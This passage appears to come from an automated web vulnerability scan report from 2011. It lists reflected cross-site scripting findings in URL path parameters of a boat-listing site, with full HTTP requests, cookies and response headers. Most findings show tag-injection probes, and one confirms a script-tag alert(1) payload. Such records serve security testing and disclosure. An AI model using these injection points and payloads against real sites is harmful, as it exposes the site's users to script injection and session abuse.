VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:38 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cd788"><a>e946f402836 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/typecd788"><a>e946f402836/Chaparral/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:52 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9360a"><a>e02b50f0e07 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/Chaparral9360a"><a>e02b50f0e07/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:53:01 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 80034"><script>alert(1)</script>166b0f28f90 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type/Chaparral/180034"><script>alert(1)</script>166b0f28f90 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:53:09 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6577d"><a>d7175243dd9 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type6577d"><a>d7175243dd9/Chris+Craft/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:41 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4247a"><a>354e0610b4d was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/Chris+Craft4247a"><a>354e0610b4d/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; 